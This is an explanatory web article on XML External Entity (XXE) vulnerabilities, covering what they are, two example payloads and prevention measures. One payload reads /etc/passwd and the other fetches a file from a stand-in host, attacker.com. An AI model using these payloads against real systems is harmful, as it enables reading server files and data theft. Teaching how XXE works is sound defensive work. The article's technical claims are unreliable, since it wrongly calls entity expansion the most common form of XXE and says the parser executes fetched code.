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XML External Entity (XXE) vulnerabilities

XML External Entity (XXE) vulnerabilities occur when an XML parser processes user-supplied input without proper validation, allowing attackers to gain access to system resources or even execute malicious code. XXE vulnerabilities are a type of server-side injection attack that can be used to compromise the confidentiality, integrity, and availability of a system. In this article, we will discuss what XXE vulnerabilities are, how they can be exploited, and how to prevent them.


What Is an XML External Entity Vulnerability?


An XML External Entity vulnerability is a type of injection attack in which an attacker can inject malicious code into an XML document. This code can then be used to gain access to system resources or even execute malicious code. The vulnerability occurs when an XML parser processes user-supplied input without proper validation.


The most common type of XXE vulnerability is the XML Entity Expansion (XEE) attack. In this attack, an attacker injects malicious code into an XML document, which is then executed by the XML parser. This code can be used to gain access to system resources or even execute malicious code.


How Can XML External Entity Vulnerabilities Be Exploited?


XXE vulnerabilities can be exploited in several ways. One of the most common methods of exploiting XXE vulnerabilities is to use a malicious XML document to access system resources or execute malicious code. This can be done by using an XML document that contains an external entity reference. The external entity reference is a reference to an external resource, such as a file, that is located on the same system as the XML parser.


In order to exploit an XXE vulnerability, an attacker must craft a malicious XML document that contains an external entity reference. The attacker then sends the malicious XML document to the vulnerable server, which processes the document and attempts to access the external resource. If the external resource contains malicious code, the code will be executed by the XML parser, allowing the attacker to gain access to system resources or execute malicious code.


Example XML Payloads Sent in HTTP Requests to Exploit XML External Entities Vulnerabilities


Below is an example of an XML payload that can be sent in an HTTP request to exploit an XXE vulnerability:



<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>



This payload contains an external entity reference to the “/etc/passwd” file on the system. If the XML parser processes this payload without proper validation, the “/etc/passwd” file will be accessed, allowing the attacker to view the system’s user accounts.


Another example of an XML payload that can be sent in an HTTP request to exploit an XXE vulnerability is as follows:



<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://attacker.com/malicious_code.txt">
]>
<foo>&xxe;</foo>


This payload contains an external entity reference to a malicious file located on the attacker’s server. If the XML parser processes this payload without proper validation, the malicious file will be downloaded and executed, allowing the attacker to gain access to system resources or execute malicious code.


How to Prevent XML External Entity Vulnerabilities


There are several measures that can be taken to prevent XXE vulnerabilities. The most important measure is to ensure that user-supplied input is properly validated before being processed by the XML parser. This can be done by disabling external entity references in the XML parser’s configuration, or by using a whitelist to only allow certain types of input.


Additionally, it is important to ensure that the XML parser is up-to-date and properly configured. Outdated versions of XML parsers may contain security vulnerabilities that can be exploited by attackers.


Finally, it is important to regularly monitor for suspicious activity on the system. This can be done by monitoring system logs for unusual activity, such as attempts to access system resources or execute malicious code.


Conclusion


XML External Entity (XXE) vulnerabilities are a type of server-side injection attack that can be used to compromise the confidentiality, integrity, and availability of a system. In this article, we discussed what XXE vulnerabilities are, how they can be exploited, and how to prevent them. By properly validating user-supplied input, disabling external entity references, keeping the XML parser up-to-date, and monitoring for suspicious activity, organizations can protect themselves from XXE vulnerabilities.


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